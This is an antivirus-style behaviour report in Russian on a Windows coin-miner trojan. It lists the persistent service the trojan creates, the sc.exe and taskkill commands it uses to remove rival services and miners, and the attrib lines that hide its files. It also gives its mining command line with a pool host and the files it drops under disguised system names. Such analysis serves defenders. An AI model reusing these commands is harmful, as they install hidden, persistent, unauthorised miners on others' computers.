Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\SystemMern] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- '%WINDIR%\SoftwareDistribution\sc.exe' delete Wintkoodop
- '%WINDIR%\SoftwareDistribution\sc.exe' stop Wintkoodop
- '%WINDIR%\SoftwareDistribution\sc.exe' stop Wintkoose
- '%WINDIR%\SoftwareDistribution\sc.exe' stop SystemMain
- '%WINDIR%\SoftwareDistribution\sc.exe' delete Wintkoose
- '%WINDIR%\SoftwareDistribution\sc.exe' stop SystemMans
- '%WINDIR%\SoftwareDistribution\sc.exe' delete Wintkoodins
- '%WINDIR%\SoftwareDistribution\sc.exe' delete SystemMans
- '%WINDIR%\SoftwareDistribution\sc.exe' delete Wintkoodiner
- '%WINDIR%\SoftwareDistribution\sc.exe' stop Wintkoodiner
- '%WINDIR%\SoftwareDistribution\sc.exe' description SystemMern "Yoold xport The Makefiles "
- '%WINDIR%\SoftwareDistribution\sc.exe' config SystemMern start= auto
- '%WINDIR%\SoftwareDistribution\sc.exe' start SystemMern
- '%WINDIR%\SoftwareDistribution\mecoind.exe' -q -a scrypt -o anc.ltcoin.net:7766 -u miyayi.1 -p x
- '%WINDIR%\SoftwareDistribution\csrss.exe'
- '%WINDIR%\SoftwareDistribution\sc.exe' stop Wintkooser
- '%WINDIR%\SoftwareDistribution\sc.exe' delete SystemMain
- '%WINDIR%\SoftwareDistribution\sc.exe' delete Wintkooser
- '%WINDIR%\SoftwareDistribution\instsrv.exe' SystemMern %WINDIR%\SoftwareDistribution\csrss.exe
- '%WINDIR%\SoftwareDistribution\instsrv.exe' SystemMern remove
- '%WINDIR%\SoftwareDistribution\sc.exe' stop Wintkoodins
- '%WINDIR%\SoftwareDistribution\sc.exe' stop wintkood
- '%WINDIR%\SoftwareDistribution\sc.exe' delete wintkooder
- '%WINDIR%\SoftwareDistribution\sc.exe' delete wintkood
- '%WINDIR%\SoftwareDistribution\sc.exe' delete wintkooders
- '%WINDIR%\SoftwareDistribution\sc.exe' stop wintkooders
- '%WINDIR%\SoftwareDistribution\sc.exe' delete wintkooer
- '%WINDIR%\SoftwareDistribution\sc.exe' stop wintkooer
- '%WINDIR%\SoftwareDistribution\sc.exe' stop wintkool
- '%WINDIR%\SoftwareDistribution\sc.exe' stop wintkooder
- '%WINDIR%\SoftwareDistribution\sc.exe' delete wintkool
- '%WINDIR%\SoftwareDistribution\sc.exe' stop Wintkoodin
- '%WINDIR%\SoftwareDistribution\sc.exe' delete SystemManers
- '%WINDIR%\SoftwareDistribution\sc.exe' delete Wintkoodin
- '%WINDIR%\SoftwareDistribution\sc.exe' delete Wintkoodinst
- '%WINDIR%\SoftwareDistribution\sc.exe' stop Wintkoodinst
- '%WINDIR%\SoftwareDistribution\sc.exe' delete SystemManag
- '%WINDIR%\SoftwareDistribution\sc.exe' stop SystemManag
- '%WINDIR%\SoftwareDistribution\sc.exe' stop Wintkooden
- '%WINDIR%\SoftwareDistribution\sc.exe' stop SystemManers
- '%WINDIR%\SoftwareDistribution\sc.exe' delete Wintkooden
Запускает на исполнение:
- '<SYSTEM32>\net.exe' stop SystemMern
- '<SYSTEM32>\net1.exe' stop SystemMern
- '<SYSTEM32>\attrib.exe' +s +r +h instsrv.exe
- '<SYSTEM32>\attrib.exe' +s +r +h sc.exe
- '<SYSTEM32>\attrib.exe' +s +r +h %WINDIR%\SoftwareDistribution\instsrv.exe
- '<SYSTEM32>\ping.exe' -n 2 127.1
- '<SYSTEM32>\cmd.exe' /c %WINDIR%\SoftwareDistribution\xcc4.bat
- '<SYSTEM32>\attrib.exe' +s +r +h %WINDIR%\SoftwareDistribution\csrss.exe
- '%WINDIR%\regedit.exe' /s sh.reg
- '<SYSTEM32>\attrib.exe' +s +r +h csrss.exe
- '<SYSTEM32>\taskkill.exe' /f /im smssz.exe
- '<SYSTEM32>\taskkill.exe' /f /im minerd.exe
- '<SYSTEM32>\cmd.exe' /c ""%WINDIR%\SoftwareDistribution\ys.bat" "
- '<SYSTEM32>\taskkill.exe' /f /im mecoind.exe
- '<SYSTEM32>\taskkill.exe' /f /im meciond.exe
- '<SYSTEM32>\ping.exe' -n 3 127.1
- '<SYSTEM32>\attrib.exe' +s +r +h lsass.exe
- '<SYSTEM32>\taskkill.exe' /f /im smszs.exe
- '<SYSTEM32>\taskkill.exe' /f /im const.exe
Изменения в файловой системе:
Создает следующие файлы:
- %WINDIR%\SoftwareDistribution\xcc4.bat
- %WINDIR%\SoftwareDistribution\sh.reg
- %WINDIR%\SoftwareDistribution\ys.bat
- %WINDIR%\SoftwareDistribution\csrss.exe
- %WINDIR%\SoftwareDistribution\zlib1.dll
- %WINDIR%\SoftwareDistribution\sc.exe
- %WINDIR%\SoftwareDistribution\libcurl-4.dll
- %WINDIR%\SoftwareDistribution\instsrv.exe
- %WINDIR%\SoftwareDistribution\mecoind.exe
- %WINDIR%\SoftwareDistribution\QtGui4.dll
- %WINDIR%\SoftwareDistribution\pthreadGC2.dll
Присваивает атрибут 'скрытый' для следующих файлов:
- %WINDIR%\SoftwareDistribution\sc.exe
- %WINDIR%\SoftwareDistribution\instsrv.exe
- %WINDIR%\SoftwareDistribution\csrss.exe
Удаляет следующие файлы:
- %WINDIR%\SoftwareDistribution\sh.reg
Другое:
Ищет следующие окна:
- ClassName: '' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
